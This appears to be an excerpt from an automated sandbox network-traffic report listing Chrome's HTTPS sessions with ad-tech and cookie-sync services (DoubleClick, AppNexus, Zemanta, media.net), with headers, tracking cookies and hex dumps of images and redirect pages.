uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19
2024-04-27 22:42:11 UTC	1294	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:11 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:11 GMT x-envoy-upstream-service-time: 3 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:42:11 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-04-27 22:42:11 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	50211	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	830	OUT	GET /pixel?google_nid=appnexus&google_cm&google_dbm&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	662	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ib.adnxs.com/setuid?entity=101&gdpr=0&code=CAESELtxKrpNGC5cuN3L_d3U2ns&google_cver=1 Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	301	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 65 6e 74 69 74 79 3d 31 30 31 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 63 6f 64 65 3d 43 41 45 53 45 4c 74 78 4b 72 70 4e 47 43 35 63 75 4e 33 4c 5f 64 33 55 32 6e 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ib.adnxs.com/setuid?entity=101&gdpr=0&code=CAESELtxKrpNGC5cuN3L_d3U2ns&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	50205	50.31.142.223	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	705	OUT	GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	656	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 165 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=pzXJ98G8FgkOH15Vlr4a; Path=/; Domain=zemanta.com; Expires=Sun, 27 Apr 2025 22:42:11 GMT; Max-Age=31536000; Secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:11 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-27 22:42:11 UTC	165	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 79 6e 63 2f 6d 65 64 69 61 6e 65 74 2f 3f 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 25 32 46 63 6b 73 79 6e 63 2e 70 68 70 25 33 46 63 73 25 33 44 31 25 32 36 74 79 70 65 25 33 44 7a 65 6d 25 32 36 6f 76 73 69 64 25 33 44 5f 5f 5a 55 49 44 5f 5f 26 61 6d 70 3b 70 75 69 64 3d 25 32 34 25 37 42 56 53 49 44 25 37 44 26 61 6d 70 3b 73 3d 32 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	50203	40.76.134.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	832	OUT	GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&rnd=RND HTTP/1.1 Host: us01.z.antigena.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	176	IN	HTTP/1.1 403 Forbidden Server: Microsoft-Azure-Application-Gateway/v2 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html Content-Length: 581 Connection: close
2024-04-27 22:42:11 UTC	581	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	50212	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	920	OUT	GET /getuid?https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=${BASE64_UID_ENC} HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:11 UTC	1462	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=MTQ3NjA1ODM5Njg1MDE1ODA2MQ%3D%3D AN-X-Request-Uuid: f20c6596-7ec0-499c-8a7b-e1dee3badbde Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	50215	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	700	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_0.png HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	821	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 6702 X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Date: Thu, 25 Apr 2024 11:50:55 GMT Expires: Fri, 25 Apr 2025 11:50:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT Content-Type: image/png Age: 211876 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	434	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 04 b0 08 06 00 00 00 27 a1 34 09 00 00 00 09 70 48 59 73 00 00 00 01 00 00 00 01 00 4f 25 c4 d6 00 00 00 24 7a 54 58 74 43 72 65 61 74 6f 72 00 00 08 99 73 4c c9 4f 4a 55 70 4c 2b 49 2d 52 70 4d 4b 4b 4d 2e 29 06 00 41 7a 06 ce 6a 7a 15 c5 00 00 19 b0 49 44 41 54 78 9c ed dd 4d 52 1b 59 b6 00 e0 73 d3 40 f7 e0 45 c0 00 39 3c 2b de 0a 4c af c0 69 b9 e6 45 af c0 aa 01 6a 66 45 af a0 a8 15 34 3d f3 c3 03 ab 56 50 d4 bc 8a 92 57 d0 78 05 8d 67 15 c6 11 8d 67 1d d8 e4 7d 03 a5 44 4a 08 63 97 f9 b1 d1 f7 45 38 82 4c 29 53 37 2f 0e e5 e1 de 73 4f 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRX'4pHYsO%$zTXtCreatorsLOJUpL+I-RpMKKM.)AzjzIDATxMRYs@E9<+LiEjfE4=VPWxgg}DJcE8L)S7/sOF
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 25 13 60 01 00 5c 32 01 16 00 c0 25 13 60 01 00 5c 32 01 16 00 c0 25 13 60 01 70 25 ee b6 bb 5b 4b 65 c7 73 47 99 49 02 2c 00 2e 5d eb 61 b7 97 23 be 9f 2f 16 0e 5a e5 fa ea 4d b7 07 ae 9b 4a ee 00 9f 81 bb ed ee 56 8e f8 be de 7c 7e b8 b7 53 4e be a7 d5 ee f6 23 e2 41 44 44 8a f8 e1 d5 de ce d6 75 b5 ef 63 d4 d7 f2 b8 de 5c 8c 22 f5 5b e5 7a 79 d8 7f ba 7f a3 0d 83 6b 24 c0 e2 56 58 fe 7a a3 bc e8 3d e9 dd c9 91 2f 78 b8 7a c7 d5 f1 f6 7c b1 b0 16 a7 0f 78 17 64 31 73 04 58 dc 0a a9 aa 7e bb f0 4d 45 8a e5 76 f7 65 11 d1 3b ae 8e b7 8f fa bd a3 6b 68 da cc ba 57 6e ac 9c 14 27 65 e4 54 e6 22 2f 79 06 e5 ec 38 ea f7 8e 96 ca 4e 39 5f 2c f4 63 32 c8 6a af 6f 1e ee 3d ed dd 58 e3 e0 9a c8 c1 62 a6 a4 88 af ea bc 90 be e4 db ab 55 15 55 27 22 3d 8b 14 8f 53 Data Ascii: %`\2%`\2%`p%[KesGI,.]a#/ZMJV\|~SN#ADDuc\"[zyk$VXz=/xz\|xd1sX~MEve;khWn'eT"/y8N9_,c2jo=XbUU'"=S
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: fd 61 ff e9 fe f2 d7 1b 6b 1f 54 b7 eb 13 d4 23 75 a3 d1 a7 5c 14 9b bf ef 8d 4f 8f be fe e5 49 ff 6e bb bb 3d 0c 82 52 c4 28 28 99 9b fb f3 6a 54 d5 e9 9b 8b e2 4c 5e d3 eb bd 9d ed e5 47 eb 65 11 a9 f7 ea d7 9d dd 2b b9 90 da ab 5f 77 76 97 bf de 78 18 55 d5 4b 91 b7 26 f3 ac 0e fb 4f f7 5b ed ee f3 a8 fb bf 88 f8 e8 b2 10 e9 a4 ea 44 9d 34 96 23 5e be 9e 92 17 f4 36 1f 6f ce a7 85 b5 88 38 88 c8 db ff 8d ff 8e fe 7f dc a9 8a ff 3d 49 d5 56 a4 58 99 cc b3 3a ea f7 8e 5a ed f5 ed c6 88 e2 b4 29 d7 cf 46 23 30 be 32 29 a7 69 bb ef d7 25 54 04 59 7c f1 04 58 dc 46 17 df bc 72 fc f8 ea b7 c9 d5 4b c5 6a 44 1e bc 9c 72 ff fc 2f f8 dc 8b 48 75 20 95 47 53 8e 93 41 49 51 15 bd 69 47 bf fe e5 49 7f b9 dd 7d 39 25 8f e8 f2 14 31 6a 57 8e 78 f9 fa 9c 55 95 45 55 Data Ascii: akT#u\OIn=R((jTL^Ge+_wvxUK&O[D4#^6o8=IVX:Z)F#02)i%TY\|XFrKjDr/Hu GSAIQiGI}9%1jWxUEU
2024-04-27 22:42:11 UTC	1248	IN	Data Raw: 90 7d af dc 58 a9 f3 86 46 fd 3e 11 c8 8e d4 75 b8 22 e2 fc df fb 05 c5 46 1f b4 ca f5 d5 7b e5 c6 ca b4 e0 37 e2 f4 1a 97 bf de 28 cf fb 63 e0 73 71 f7 51 77 6d 5a 70 a5 e6 15 b7 99 00 8b 99 71 d8 7f ba 5f 57 31 8f 88 41 00 74 e6 e6 55 e5 4e 34 6e b2 f5 63 51 f2 f0 df 30 e8 a8 5f 7f f1 b6 7a 3b b6 da e9 b8 3a de 6e 06 47 29 a7 6f 4e 8a ea df ad 76 37 cf 17 0b ff 69 dc 64 df c4 7b 4c e4 4c 2d a6 aa fa 6d 78 8e 61 1b 26 2a 8b 9f f1 36 1f 6f 46 23 f0 a9 1f d3 f3 9f e1 b5 d4 b5 b8 86 39 4b 6f 22 e7 51 70 98 ab bc 3b 6c e3 20 70 19 ef 87 93 a2 fa 77 e3 d8 48 e9 ec 68 dd c4 88 60 e4 1c 3f cd 17 0b ff 19 3e 7a a7 19 84 5c 68 7c 55 df 62 dd a7 fd e5 76 f7 a0 6e cb e4 94 eb fd 41 60 f8 b7 0f 2e 36 3a 18 71 3a 0d c2 53 c4 57 c3 7e 9f 76 cd 11 79 94 d8 5f 8f 3a be Data Ascii: }XF>u"F{7(csqQwmZpq_W1AtUN4ncQ0_z;:nG)oNv7id{LL-mxa&*6oF#9Ko"Qp;l pwHh`?>z\h\|UbvnA`.6:q:SW~vy_:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	50214	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	876	OUT	GET /cksync.html?cs=8&vsid=3572593249104590000V10&type=rkt&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=1977432098227636774 HTTP/1.1 Host: contextual.media.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10
2024-04-27 22:42:12 UTC	643	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-rk=1977432098227636774~~8;Expires=Sat, 26 Apr 2025 22:42:11 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:12 GMT Connection: close
2024-04-27 22:42:12 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
